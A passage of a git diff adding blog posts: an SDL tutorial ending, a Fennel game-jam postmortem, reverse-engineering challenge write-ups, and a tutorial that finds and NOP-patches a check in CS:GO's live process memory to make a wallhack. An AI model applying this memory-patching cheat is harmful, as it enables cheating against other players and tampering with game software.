blue, and alpha (transparency) values. I'm +going to make mine white (0xFF, 0xFF, 0xFF, 0xFF), but feel free to experiment. +After that, we'll be calling =SDL_RenderClear=, which takes a renderer as an +argument and, as I briefly mentioned a few lines ago, fills it with whatever +color the renderer is currently associated with. And finally, we'll call +=SDL_RenderPresent= to update the screen. This is where some people get a little +confused. Basically, in SDL you draw everything and /then/ update the screen, +meaning that you have as much time as you want to make the scene perfect before +you have to show it to the user. And we're pretty much done! Let's look at the +basic program: + +#+BEGIN_SRC c :hl_lines 0 +#include +#include + +int main(int argc, char *argv[]) { + SDL_Window *my_cool_window; + SDL_Renderer *my_cool_renderer; + + if (SDL_Init(SDL_INIT_VIDEO)) { + fprintf(stderr, "ERROR: %s\n", SDL_GetError()); + return 1; + } + + my_cool_window = SDL_CreateWindow("Bush Did Harambe", + SDL_WINDOWPOS_UNDEFINED, + SDL_WINDOWPOS_UNDEFINED, + 400, 400, SDL_WINDOW_SHOWN); + if (!my_cool_window) { + fprintf(stderr, "ERROR: %s\n", SDL_GetError()); + return 1; + } + + my_cool_renderer = SDL_CreateRenderer(my_cool_window, + -1, + SDL_RENDERER_ACCELERATED); + if (!my_cool_renderer) { + fprintf(stderr, "ERROR: %s\n", SDL_GetError()); + return 1; + } + + SDL_SetRenderDrawColor(my_cool_renderer, 0xFF, 0xFF, 0xFF, 0xFF); + SDL_RenderClear(my_cool_renderer); + SDL_RenderPresent(my_cool_renderer); + + SDL_Delay(4000); + SDL_DestroyRenderer(my_cool_renderer); + SDL_DestroyWindow(my_cool_window); + SDL_Quit(); + return 0; +} +#+END_SRC + +Let's run it: + +#+CAPTION: A screenshot of the completed window on my system. +[[./finished-window.png]] + +To recap, we learned about: + +* SDL Functions + +- *SDL_Init*: Used to initialize SDL. Takes a flag as a parameter. Returns 0 if + it succeeds, or a negative value if it fails. +- *SDL_Quit*: Complements =SDL_Init=. Takes no parameters and returns nothing. +- *SDL_CreateWindow*: Creates a window and returns a pointer to it, or =NULL= if + it fails. Takes a title, X and Y positions, width, height, and a flag as + parameters. +- *SDL_DestroyWindow*: Complements =SDL_CreateWindow=, takes a =SDL_Window= + pointer as an argument and returns nothing. +- *SDL_CreateRenderer*: Called to create a renderer, and returns a pointer to + it, or =NULL= if it fails. Takes the =SDL_Window= pointer for the window you + want to create a renderer for, an index (usually -1), and a flag as + parameters. +- *SDL_DestroyRenderer*: Complements =SDL_CreateRenderer=. Takes a + =SDL_Renderer= pointer as an argument and returns nothing +- *SDL_Delay*: Takes a number of milliseconds as an argument, and proceeds to + wait for that period of time. +- *SDL_SetRenderDrawColor*: Takes a renderer, red, green, blue, and alpha values + as arguments, and changes the color associated with the given renderer. +- *SDL_RenderClear*: Takes a renderer as an argument and fills it with whatever + color is currently associated with that renderer. +- *SDL_RenderPresent*: "Refreshes" the renderer, presenting the image to the + user. + +* Type Definitions + +- *SDL_Window*: Captures the result of =SDL_CreateWindow=. +- *SDL_Renderer*: Captures the result of =SDL_CreateRenderer=. + +And if you would like to read more, here are some additional resources: + +- [[https://wiki.libsdl.org/SDL_Init#Remarks][SDL Documentation - SDL_Init (Remarks)]] +- [[https://wiki.libsdl.org/SDL_WindowFlags][SDL Documentation - Window Flags]] +- [[https://wiki.libsdl.org/SDL_RendererFlags][SDL Documentation - Renderer Flags]] + +You're still reading? Well, this is my first tutorial ever. If you have any +feedback, be it positive or negative, I'd love to hear it! I hope this tutorial +was helpful, there are many more to come. diff --git a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png new file mode 100644 index 0000000..0bbe5fc Binary files /dev/null and b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png differ diff --git a/posts/Slime the World: A Postmortem/slime-the-world-postmortem.org b/posts/Slime the World: A Postmortem/slime-the-world-postmortem.org new file mode 100644 index 0000000..9bf9cac --- /dev/null +++ b/posts/Slime the World: A Postmortem/slime-the-world-postmortem.org @@ -0,0 +1,320 @@ +#+TITLE: Slime the World: A Postmortem +#+DATE: <2018-11-02 Fri> +#+TAGS: writeup, video-games, programming, game-development, lua, lisp, fennel + +[[https://itch.io/jam/autumn-lisp-game-jam-2018/rate/321822][Slime the World]] was my entry to this year's [[https://itch.io/jam/autumn-lisp-game-jam-2018][Autumn Lisp Game Jam]], and it managed +to win second place. The theme was slime, so it’s a game about covering +everything in sight with slime, and the dialect of Lisp I chose to use was +[[https://fennel-lang.org/][Fennel]], a simple and elegant Lisp that I feel perfectly matches the simplicity +and elegance of Lua. It takes on a more "modern" style that I associate with +Lisps such as Clojure. I had initially pushed Clojure to the side, feeling it +was too different from Common Lisp, but now that I've had a positive firsthand +experience with a Lisp where lists /aren't/ the data structure you always reach +for, I'm hoping to return to it with an open mind. + +When I signed up, I thought that the ten-day deadline was lax compared with some +of the more well-known jams like [[https://ldjam.com/][Ludum Dare]]. Being given ten days to complete a +submission was certainly more permissive than two would have been, but I found +that participating in a game jam and simultaneously juggling coursework from +university was challenging. To me, the point of a short deadline is so that you +can sit down and focus on nothing but developing the game for the stretch of the +jam, but even dedicating one weekend to working on the game felt irresponsible +when I had papers to write, problem sets to grind, and exams to study for. I +actually made myself submit the entry two days before the deadline so that I +wouldn't be working on it when I went home to visit my family this past weekend. +I had fun, though, didn't fall behind in my academics, and still had plenty of +time to spend with the people I love most. + +All in all, I'm very happy with my decision to participate. This was my first +game jam, and I think given the smaller size and relatively laid back +atmosphere, it was a wise choice for first jam. The dynamic nature of Lisp made +for a pleasant game development experience, I had an opportunity to try my hand +at sprite work in GIMP, and this is the first time I can say that I've +"finished" one of my games! I've made plenty of prototypes (which I now feel +inspired to return to and write a blog post about), but they never graduated +past the prototype stage. This reminds me of a point in [[https://www.youtube.com/watch?v=jGjq-C5cj2c&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=5&t=0s][an entry to +3kliksphilip's "The Game Making Journey"]], which I took to be a suggestion to +finish at least one relatively basic game before starting on something huge and +deep[fn:1]: "I had no idea what people wanted from my proper games, like Sundown +Shambles or Don't Look Down, which were still not getting positive reviews even +after weeks of development - to me these were perfect, or at least a lot closer +to that status than other peoples' games and I had no idea of how I was supposed +to improve on them further. I learned that I should build things from the ground +up, getting it to work on a basic level before elaborating on it, rather than +starting with some obscure or absurdly complex idea and shoe-horning it into +something that people could play, relying on depth to compensate for lack of +balance or fun." In my case, those prototypes never went anywhere because I +wasn't focused on getting a simple base that was engaging, I had an +underdeveloped vision of gameplay and tried to implement the entire thing at +once, which inevitably led to me giving up. + +Surprisingly, one of the highlights for me was actually adapting [[https://en.wikipedia.org/wiki/Flood_fill][flood fill]] to +figure out how many surfaces in the map can be slimed. It's a pleasingly simple +algorithm, but until now, I've never had a reason to implement it. The following +isn't the code that's actually used in the game - it's been *significantly* +cleaned up, and works on maps made from text-based tiles instead of the +structures that the game uses to represent tiles, but I'm including a little +code walkthrough because I really just admire the simplicity of the algorithm. +It's also decoupled from the game code if you want to run it yourself, just make +sure [[https://raw.githubusercontent.com/rxi/lume/master/lume.lua][lume.lua]] is present. + +#+BEGIN_SRC fennel :hl_lines 0 +(local lume (require :lume)) + +(fn index-out-of-bounds [world x y] + (or (< y 0) (>= y (# world)) + (< x 0) (>= x (# (. world (+ y 1)))))) + +(fn tile-at [world x y] + (when (index-out-of-bounds world x y) + (error (string.format "(%d, %d) is out of bounds" x y))) + (. world (+ y 1) (+ x 1))) + +(fn iter-tiles [world] + (var x 0) + (var y 0) + + (let [height (# world)] + (fn [] + (if (< y height) + (let [last-x x + last-y y + tile (tile-at world x y) + width (- (# (. world (+ y 1))) 1)] + (if (>= x width) + (do + (set x 0) + (set y (+ 1 y))) + (set x (+ 1 x))) + (values last-x last-y tile)) + nil)))) + +;; Returns some tile in `world' of type `tile-type', or nil if no such tile is +;; present. +(fn find-any [tile-type world] + (var res nil) + (each [x y tile (iter-tiles world)] + (when (and (= tile tile-type) (not res)) + (set res [x y]))) + res) + +;; Returns whether or not `tile' exists in `checked'. +(fn tile-checked [checked x y] + (lume.match checked + (fn [tile] + (let [(other-x other-y) (unpack tile)] + (and (= x other-x) + (= y other-y)))))) + +;; Modified implementation of . +(fn count-surfaces-recur [world x y checked] + (let [check-adjacent (fn [world x y checked] + (if (index-out-of-bounds world x y) + 0 + (if (= " " (tile-at world x y)) + (count-surfaces-recur world x y checked) + 1)))] + (if (tile-checked checked x y) + 0 + (do (table.insert checked [x y]) + (+ (check-adjacent world (+ x 1) y checked) + (check-adjacent world (- x 1) y checked) + (check-adjacent world x (+ y 1) checked) + (check-adjacent world x (- y 1) checked)))))) + +;; Returns the number of slime-able surfaces in the given grid of tiles. +(fn count-surfaces [world] + (let [seed (find-any " " world)] + (when seed + (let [(x y) (unpack seed)] + (count-surfaces-recur world x y []))))) + +(let [world [["█" "█" "█" "█"] + ["█" " " "█" "█"] + ["█" " " " " "█"] + ["█" " " " " "█"] + ["█" "█" "█" "█"]]] + (print (count-surfaces world))) +#+END_SRC + +There are a few shortcomings of this implementation (chiefly, the map has to be +one enclosed space, there can't be any "empty" tiles around the map's border), +but for the purposes of a game jam entry, it did the job wonderfully. [[https://github.com/rxi/lume][=lume=]] is +an excellent library that prides itself on being "geared towards gamedev," but +as you can see from the code, it also provides some general iteration constructs +that prove useful when programming in a more functional style. =tile-at= and +=index-out-of-bounds= are just my mapping of cartesian coordinates onto a Lua +array (which are indexed starting at 1, /not/ 0). =iter-tiles= provides an +[[https://www.lua.org/pil/7.1.html][iterator]] over the text-based world structure I'm using, yielding an =x=, a =y=, +and the =tile= for every addressable location in the world. It's more stateful +than I'd like, and I know that Lua supports [[https://www.lua.org/pil/7.3.html][stateless iterators]], but I didn't +really want to figure those out. Lisp is multi-paradigm, after all. + +All =count-surfaces= does is find a place for =count-surfaces-recur= to start, +which is where the real meat of the algorithm is. As the name implies, it's +recursive: + +1. If the tile's been checked already, stop and return 0. +2. For each adjacent tile (one step north, west, east, and south), sum: + 1. 1, if the tile is a wall (as that means we've hit one side of the tile) + 2. The return value of =count-surfaces-recur= if it isn't a wall +3. Return that sum. + +We're really just walking the map's empty space and keeping track of every time +we hit the side of a tile. There are better ways to implement flood fill, but I +think this is fairly easy to reason about and understand. + +Participating in the game jam taught me several lessons, and there are a few I +would like to share with you: + +* The First Solution Doesn't Have To Be The Best Solution + +I find that, when I initially set out to write a blog post or something similar, +I'm most effective if I direct my attention towards getting words down on paper +and pay little mind to formatting or coherence. Both are easily addressed later +on in the writing process, and having the words in a malleable medium gives me a +framework to run with. This is different than the approach I typically take when +programming, where I do a lot of planning in my head and strive to nail the most +elegant solution on the first try. "Most elegant," being, of course, subjective. +However, working within a strict deadline pushed me towards putting out some +arguably "hackier" code, which in turn helped me to realize the usefulness of +applying my "get words down on paper" methodology to programming. Allow me to +elaborate with some examples. + +The first iteration of the code for updating the camera looked like this: + +#+BEGIN_SRC fennel :hl_lines 0 +;; Update camera. +(set camera-x (lume.lerp camera-x (- swanky-x camera-lock-goal-x) dt)) +(set camera-y (lume.lerp camera-y (- swanky-y camera-lock-goal-y) dt)) + +;; Lock camera so that it doesn't go out of bounds. +(when (> 0 camera-x) + (set camera-x 0)) + +(when (> 0 camera-y) + (set camera-y 0)) + +(when (>= camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width)) + (set camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width))) + +(when (>= camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height)) + (set camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height))) +#+END_SRC + +All of the variables you see above, with the exception of =dt=, are globally +accessible and mutable. This is typically frowned upon in production code, but I +think that for a first iteration, globals make the code easier to think about, +and that's more effective for grounding the ideas that you have. + +Now that I was able to see which information was associated with which concepts +in the code, I was able to replace the loose global variables with tables. This +was the subsequent iteration: + +#+BEGIN_SRC fennel :hl_lines 0 +;; Update camera. +(tset camera :x-pos (lume.lerp (. camera :x-pos) + (- (. player :x-pos) camera-lock-goal-x) (* 4 dt))) +(tset camera :y-pos (lume.lerp (. camera :y-pos) + (- (. player :y-pos) camera-lock-goal-x) (* 4 dt))) +;; Lock camera so that it doesn't go out of bounds. +(when (> 0 (. camera :x-pos)) + (tset camera :x-pos 0)) + +(when (> 0 (. camera :y-pos)) + (tset camera :y-pos 0)) + +(let [max-x (- (* (. map :tiles :width) (. world :width)) screen-width)] + (when (>= (. camera :x-pos) max-x) + (tset camera :x-pos max-x))) + +(let [max-y (- (* (. map :tiles :height) (. world :height)) screen-height)] + (when (>= (. camera :y-pos) max-y) + (tset camera :y-pos max-y))) +#+END_SRC + +I think this less readable, but again, much like with writing, formatting and +coherence are things you can and should come back to. The current version of the +game has more general function that abstracts this notion of updating the camera +into a function that doesn't incur side effects. + +#+BEGIN_SRC fennel :hl_lines 0 +(fn focus-on-object [camera object dt] + (let [last-x (. camera :x-pos) + last-y (. camera :y-pos) + max-x (. camera :max-x) + max-y (. camera :max-y) + object-x (. object :x-pos) + object-y (. object :y-pos) + width (. object :width) + height (. object :height) + screen-width (. camera :screen-width) + screen-height (. camera :screen-height) + x-offset (math.floor (- (/ screen-width 2) (/ width 2))) + y-offset (math.floor (- (/ screen-height 2) (/ height 2))) + x (lume.lerp last-x (- object-x x-offset) (* 4 dt)) + y (lume.lerp last-y (- object-y y-offset) (* 4 dt)) + x (lume.clamp x 0 max-x) + y (lume.clamp y 0 max-y)] + (values x y))) +#+END_SRC + +This version is still, in my opinion, "hacky." For one, the code is mostly field +retrieval, and this could probably be broken up into smaller functions for +clarity. I believe the reason for the upper bound on elegance was actually that +I tried to refactor too early. I made the transition from global variables to +tables within the first two days of the jam, so very few of the features in the +final game had an initial implementation, and as such, I was lacking a complete +"big picture" when designing the data layout. + +Writing this section, I was reminded of a snippet from a [[https://www.facebook.com/permalink.php?story_fbid=2110408722526967&id=100006735798590][Facebook post]] that was +posted by one my idols, John Carmack: "I used a common pattern for me: get first +results with hacky code, then write a brand new and clean implementation with +the lessons learned, so they both exist and can be cross checked." I'm hoping to +apply this to my future programming work. It's been said that "weeks of +programming can save you hours of planning," but I think that getting some code +down that works is an excellent precursor to the planning process. + +* Learn Your Tools Ahead Of Time + +I was fortunate enough to have experience with Lua prior to the jam, so the +general concepts regarding tables and such weren't foreign, and I had guidance +in the form of [[https://technomancy.us][Phil Hagelberg]]'s blog post[fn:2], [[https://technomancy.us/188]["in which a game jam is recounted +further"]] and the source code to [[https://gitlab.com/technomancy/exo-encounter-667][EXO_encounter 667]]. Regardless, I didn't /learn/ +Fennel until the jam had started. This wasn't a huge deal, as Lisps are +syntactically identical and I was able to pick it up without much trouble, but +there were inevitably nuances, and I really wish that I had at least played +around with Fennel in the days leading up to the jam. It took me four days to +realize that bindings in a =let= form could refer to earlier bindings in that same +form, much like the behavior of =let*= in Common Lisp. It also took time to get +used to reaching for tables and booleans rather than conses, and I never learned +how macros work in Fennel. To my understanding, they have to be declared in +separate modules, and there is no backquote syntax. Again, things I could have +figured out had I just used Fennel prior to writing a game with it. + +Also, I still do not know why, but [[https://gitlab.com/technomancy/fennel-mode][=fennel-mode=]] does not work with my Emacs +configuration. Some =init.el= bisecting revealed that =(require 'package)= +messed up fennel-mode's indentation function somehow. Whenever I worked on the +game, I had to run a separate =emacs -q= and =eval-buffer= on =fennel-mode.el=. +Fortunately, it wasn't too inconveniencing, but it did make me want to redo my +Emacs config at some point in the future. + +* Don't Be Too Ambitious + +Going back to the point about juggling this with university, I probably could +have picked a less ambitious idea for the jam. There were loads of unused assets +and unimplemented ideas. I had plans for implementing particle systems, parallax +scrolling, a big ol' Metroidvania-styled map with interconnected rooms, enemies, +saving, gamepad support, &c, &c, &c. A minimal portion of my initial vision made +it into the end product, to say the least. Toning back the idea blast probably +would have helped me focus on what was important to implement. + +Huge thanks to [[https://www.michaelfiano.com/][Michael Fiano]] for hosting the jam, and to the community for being +so damn great. Everyone was willing to help one another - Phil was kind enough +to [[https://itch.io/post/581643][share his makefile with me]][fn:3], and I made plenty of friends along the way. + +[fn:1] After returning to rewatch the series after publishing this post, I came to the realization that I was thinking of another point in another video. For those curious, the topic of finishing a simple game before tackling something bigger is covered in [[https://www.youtube.com/watch?v=1jn39JJYW3A&t=0s&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=6][the fifth entry]]. + +[fn:2] Which was actually my main inspiration to use Fennel for this jam. + +[fn:3] Sadly, due to time constraints, I did not end up using it for the submission. I do, however, have intentions to go back and incorporate it into my post-jam fixes. diff --git a/posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org b/posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org new file mode 100644 index 0000000..c3594d0 --- /dev/null +++ b/posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org @@ -0,0 +1,181 @@ +#+TITLE: Understand Game Hacking In One Post +#+DATE: <2017-09-05 Tue> +#+TAGS: tutorial, reverse-engineering, video-games, game-hacking, x86, c++, radare2 + +At a first glance, it might seem that game cheats like [[https://github.com/AimTuxOfficial/AimTux][AimTux]] are something that +could only be conjured by the most talented of reverse engineers. That was at +least my initial view on it, especially since I always saw these game hackers +using outlandish terms that I hadn't heard in over a year of playing in CTF's. +Don't be fooled; game hacking isn't nearly as complex as its community makes it +seem. In this post, I will explain the concepts in a way that is familiar to +people with experience in binary exploitation and reverse engineering, but it +shouldn't be too hard to understand if you lack that background. + +You want to know the secret of game hacking? Editing memory. Much can be +accomplished with nothing more than a few writes to process memory. This should +be unsurprising if you've used Cheat Engine, scanmem, or even the Game +Genie. Memory editing, despite the fact that much is nowadays validated on the +server, remains king in the cheat market. Reading and writing memory be your +primitives, and I'll show you just how effective they can be by walking you +through a basic wallhack for CS:GO. I choose Counter-Strike as an example, +because there is a wealth of information out there, and it has an active +commmunity constantly hacking on it. In case you want to go forth and do more on +your own, y'know? + +First, I should explain the two methods of editing process memory. Developers of +game hacks refer to the methods as "internal" and "external", where internal +means a dynamic library that gets injected into the game's address space, and +external means a separate process that manipulates memory by means of the +operating system. [[https://github.com/AimTuxOfficial/AimTux][AimTux]] is an example of an internal hack, and [[https://gitgud.io/vc/vcaim][vcaim]] is an +example of an external hack. We'll be writing an external cheat in this blog +post. Although, if you want to learn more about writing internal cheats on +Linux, [[https://aixxe.net/2016/09/linux-skin-changer][this blog post by Aixxe]] is excellent. + +Next, there's some terminology that people use when talking about +memory-manipulating cheats. "Offsets," and "signatures." If you've ever +performed a ret2libc attack on a system with ASLR, you already know about +offsets. It's just a number you add to the address at which a library was loaded +to get the position of something in memory. In the case of ret2libc, you're +trying to get to a function like =system(3)=, but in the case of CS:GO hacks, +you're trying to get to get something like a list of entities currently in the +game. You can try to find functions, too, which we'll be doing in this post to +write wallhacks, but most legit CS:GO hacks go after entity data. + +Games get updated and therefore recompiled quite often, so offsets are +constantly changing. To combat this, cheat developers developed ways to scan for +"signatures" in memory. That is, patterns of bytes that will reveal the offset - +either by being around the desired offset, or being code that references it. If +you get signatures from someone, it will probably look like "B9 ? ? ? ? 6A 00 FF +50 08 C3". Those are hexpairs, and the question marks are bytes that get ignored +because they're an address or something that will likely end up changing in a +future update. + +Oh yeah, probably should've mentioned why we're using offsets instead of fixed +addresses. It /is/ because of ASLR - a lot of CS:GO's code is stored in shared +libraries. Specifically, =client_client.so= and =engine_client.so=. Where these +are depends on whether you're using an amd64 or an x86 processor. Just use +=find(1)= in the Steam directory, man. + +As a heads up, this cheat is mostly a [[https://aixxe.net/2017/06/kernel-game-hacking][paste I stole from Emma]]. I didn't come up +with it myself, but I thought that it was simple enough to be an example for +this post. + +The way we're going to go about writing our wallhack is pretty primitive, +patching the =.text= segment. Although we're going to do this by editing memory, +not the binary on disk. In CS:GO, there's a "glow" effect that spectators have - +allowing them to see the outlines of other players in gamemodes like Casual. If +we can find the offset to the code that checks if we're a spectator or not and +patch it, we can enable the glowing effect and see through walls. + +The glow effect is also controlled by a "cvar," which is just a client-side +configuration variable. Specifically, it checks "spec_show_xray". If we open up +=client_client.so= in radare2, we can see that that's a plain ASCII string and +that there are two references to it in the =.text= segment. + +#+BEGIN_SRC +[0x005eef60]> iz~spec_show_xray +vaddr=0x0135c245 paddr=0x0135c245 ordinal=3016 sz=15 len=14 section=.rodata type=ascii string=spec_show_xray +[0x005eef60]> iS +[Sections] +... +idx=11 vaddr=0x005eef60 paddr=0x005eef60 sz=13998500 vsz=13998500 perm=--r-x name=.text +... + +40 sections + +[0x005eef60]> e search.from=0x005eef60 +[0x005eef60]> e search.to=0x005eef60+13998500 +[0x005eef60]> /r 0x0135c245 +[0x01348878-0x01348904] data 0x6236aa leaq str.spec_show_xray, %rsi in unknown function +data 0x71817c leaq str.spec_show_xray, %rsi in unknown function +#+END_SRC + +If we seek to the first one, we'll see a dissasembly listing like this + +#+BEGIN_SRC asm :hl_lines 0 +0x00623690 4c8d0de9c664. leaq 0x00c6fd80, %r9 +0x00623697 b980000800 movl $0x80080, %ecx +0x0062369c 4c8d05c5fdd9. leaq 0x013c3468, %r8 ; "If set to 1, you can see player outlines and name IDs through walls - who you can see depends on your team and mode" +0x006236a3 488d159af1d3. leaq 0x01362844, %rdx ; "0" +0x006236aa 488d35948bd3. leaq 0x0135c245, %rsi ; "spec_show_xray" +0x006236b1 488d3d080df6. leaq 0x065843c0, %rdi +0x006236b8 e8c3278e00 callq 0xf05e80 +#+END_SRC + +This is how cvars are "constructed" in the source engine. %rdi contains the +address of the actual variable, which is at =0x065843c0=. This is done so that +the variable can be changed from the in-game console, if the player so desires. +But what this means for us is that we can easily find the address of a cvar in +memory. If we look for references to that address, we'll find a handful. + +#+BEGIN_SRC +[0x006236aa]> /r 0x065843c0 +[0x01348782-0x01348904] data 0x6236b1 leaq 0x065843c0, %rdi in unknown function +data 0x6236c3 leaq 0x065843c0, %rsi in unknown function +data 0x7b7f57 movq 0x01bd5180, %rdi in unknown function +data 0x7b901b movq 0x01bd5180, %rbx in unknown function +data 0xc5ac60 movq 0x01bd5180, %rax in unknown function +data 0xc664d4 leaq 0x065843c0, %rax in unknown function +data 0xc7e86c leaq 0x065843c0, %rax in unknown function +data 0xc8bc34 movq 0x01bd5180, %rax in unknown function +data 0xd78699 movq 0x01bd5180, %rax in unknown function +data 0xda8601 movq 0x01bd5180, %rax in unknown function +data 0xda9d0f movq 0x01bd5180, %rax in unknown function +data 0xe3db40 movq 0x01bd5180, %rax in unknown function +#+END_SRC + +A little of trial and error, combined with looking at the [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/212843-mac-binaries-symbols.html][OSX binaries with +symbols]], yields that =0xc664d4= is the address that we're looking for - the +function responsible for glowing. + +#+BEGIN_SRC asm :hl_lines 0 +0x00c664c0 e80be7b3ff callq 0x7a4bd0 +0x00c664c5 84c0 testb %al, %al +0x00c664c7 0f84c3010000 je 0xc66690 +0x00c664cd 488b3d24df91. movq 0x065843f8, %rdi ; [0x65843f8:8]=0 +0x00c664d4 488d05e5de91. leaq 0x065843c0, %rax +0x00c664db 4839c7 cmpq %rax, %rdi +... +#+END_SRC + +That first call is the actual check, the symbol for it in the OSX binaries is +"CanSeeSpectatorOnlyTools". So if we patch the jump at =0x00c664c7=, we should +be able to see the glow effect as long as "spec_show_xray" is set to 1. + +This is pretty easy, since we just need to change 6 bytes. I initially +considered using =dd(1)= for this, but it doesn't seem to like touching procfs +mem files, so instead we'll edit it from a python REPL. + +#+BEGIN_SRC +[jakob@Epsilon ~]$ sudo grep -i client_client.so /proc/$(pidof csgo_linux64)/maps +7f5029915000-7f502b0e4000 r-xp 00000000 08:12 41426690 csgo/bin/linux64/client_client.so +7f502b0e4000-7f502b2e4000 ---p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so +7f502b2e4000-7f502b571000 rw-p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so +[jakob@Epsilon ~]$ sudo python +Python 3.6.2 (default, Jul 20 2017, 03:52:27) +[GCC 7.1.1 20170630] on linux +Type "help", "copyright", "credits" or "license" for more information. +>>> OFF = 0x7f5029915000 + 0x00c664c7 +>>> with open("/proc/9052/mem", "wb") as mem: +... mem.seek(OFF) +... mem.write(b"\x90" * 6) +... +139982284502215 +6 +>>> +#+END_SRC + +And it seems to work pretty well. I know I didn't go into a whole lot of depth +about how you would actually come up with a cheat like this, but the reality is +that a lot can be figured out using some basic reverse engineering skills. You +already saw how much information leakage there is from a simple string +reference. There's a lot of information out there already, including the source +code for the [[https://github.com/ValveSoftware/source-sdk-2013][Source 2013 Base]]. I'd also recommend taking a look at the +[[https://www.unknowncheats.me/forum/index.php][UnknownCheats]] community if you're interested in learning more, they're +(generally) helpful and quite friendly. + + +Further Reading: + +- [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/169923-cs-cheat-rookie-rookies.html][CS:GO Cheat-Making: From a rookie to rookies]] +- [[https://www.unknowncheats.me/forum/general-programming-and-reversing/133228-implement-pattern-scanning-obtain-offsets-dynamically.html][How to implement pattern-scanning to obtain offsets dynamically]] diff --git a/posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org b/posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org new file mode 100644 index 0000000..bb8f54d --- /dev/null +++ b/posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org @@ -0,0 +1,1258 @@ +#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11) +#+DATE: <2019-03-10 Sun> +#+TAGS: writeup, reverse-engineering, arm, x86 + +As mentioned in the post I wrote [[http://jakob.space/posts/new-ambitions-for-a-new-year/][describing my plans for 2019]], one of my goals +this year is to get through at least 50 of the exercises on Dennis Yurichev's +[[https://challenges.re/][challenges.re]]. I've decided to document my progress in the form of writeups for +the challenges I complete, batched in sets of ten exercises. For each challenge, +I'll try to explain the intuitions that brought me closer to answering the +recurring question from Yurichev, "[w]hat does this code do?" + +* Challenge #2 + +In nearly all of the challenges available on the site, we're given equivalent +disassembly listings of a function, =f=, as generated by different compilers on +different processor architectures, and we're asked to describe what the code +does. For now, I've decided to take it easy and only pay attention to the +disassemblies for GCC on x86, as that's what I've done the most work with. We +aren't given a target operating system, but I think it's reasonable to assume +that the x86 code uses the [[https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl][cdecl calling convention]]. + +Although I stayed within my comfort zone in terms of instruction set +architecture, I refrained from my usual habit of converting the disassembly +listing to AT&T syntax for once. + +#+BEGIN_EXPORT html +
+ +
+#+END_EXPORT + +Below is a rough translation of the disassembly listing to C. My process is +relatively unchanged from the workflow I described in an [[http://jakob.space/posts/decompilation-by-hand/][older post]]. + +#+BEGIN_SRC c :hl_lines 0 +unsigned f(unsigned a) +{ + // mov eax,DWORD PTR [esp+0x4] + // bswap eax + a = ((a & 0xff) << 24) + | ((a & 0xff00) << 8) + | ((a & 0xff0000) >> 8) + | ((a & 0xff000000) >> 24); + + // mov edx,eax + // and eax,0xf0f0f0f + // and edx,0xf0f0f0f0 + // shr edx,0x4 + // shl eax,0x4 + // or eax,edx + a = ((a & 0xf0f0f0f) << 4) | ((a & 0xf0f0f0f0) >> 4); + + // mov edx,eax + // and eax,0x33333333 + // and edx,0xcccccccc + // shr edx,0x2 + // shl eax,0x2 + // or eax,edx + a = ((a & 0x33333333) << 2) | ((a & 0xcccccccc) >> 2); + + // and eax,0x55555555 + // and edx,0xaaaaaaaa + // add eax,eax + // shr edx,1 + // or eax,edx + a = ((a & 0x55555555) << 1) | ((a & 0xaaaaaaaa) >> 1); + + // ret + return a; +} +#+END_SRC + +I think it should make sense that =add eax,eax= is mathematically equivalent to +=imul eax, 2=, but it takes another step to see that it's [[https://math.stackexchange.com/questions/1610667/why-shifting-left-1-bit-is-the-same-as-multiply-the-number-by-2][equivalent]] to =shl eax,1=, +which is represented in the C code as =<< 1=. This isn't terribly complicated, but +it's an optimization detail that some might not be familiar with. =bswap= is an +instruction I was unfamiliar with, so I consulted my [[https://c9x.me/x86/html/file_module_x86_id_21.html][favorite x86 reference]]. It +converts the endianness of the word in the register. If you don't know what that +means, I'd suggest you read the page in the ISA reference. + +The code seems nonsensical at first, but we can compile it and inspect the +output given some test values. + +#+BEGIN_SRC c :hl_lines 0 +#include + +void main(void) +{ + unsigned i; + + for (i = 0; i <= 256; i++) { + printf("%010u %08x\n", i, i); + printf("%010u %08x\n", f(i), f(i)); + printf("\n"); + } +} +#+END_SRC + +Which produces: + +#+BEGIN_SRC +0000000000 00000000 +0000000000 00000000 + +0000000001 00000001 +2147483648 80000000 + +0000000002 00000002 +1073741824 40000000 + +0000000003 00000003 +3221225472 c0000000 + +0000000004 00000004 +0536870912 20000000 +... +#+END_SRC + +What's happening might not be immediately obvious, but there's a pattern in the +column of input/output represented in hexadecimal. Let's have a look at the +binary representations of a few pairs: + +#+BEGIN_SRC python +bin(0x00000001) # --> '0b00000000000000000000000000000001' +bin(0x80000000) # --> '0b10000000000000000000000000000000' + +bin(0x00000003) # --> '0b00000000000000000000000000000011' +bin(0xc0000000) # --> '0b11000000000000000000000000000000' + +# ... + +bin(0x0000004d) # --> '0b00000000000000000000000001001101' +bin(0xb2000000) # --> '0b10110010000000000000000000000000' +#+END_SRC + +My answer to the question is that =f= reverses the bits of the word it is given. + +* Challenge #3 + +This time, we're given an array of 64 32-bit integers and a hint that "[t]he +algorithm is well-known, but I've changed [the] constant so it wouldn't be +googleable." + +#+BEGIN_SRC c :hl_lines 0 +int f(unsigned n) +{ + unsigned a, b; + + // mov edx, edi + // shr edx + // or edx, edi + // mov eax, edx + a = b = (n >> 1) | n; + + // shr eax, 2 + // or eax, edx + // mov 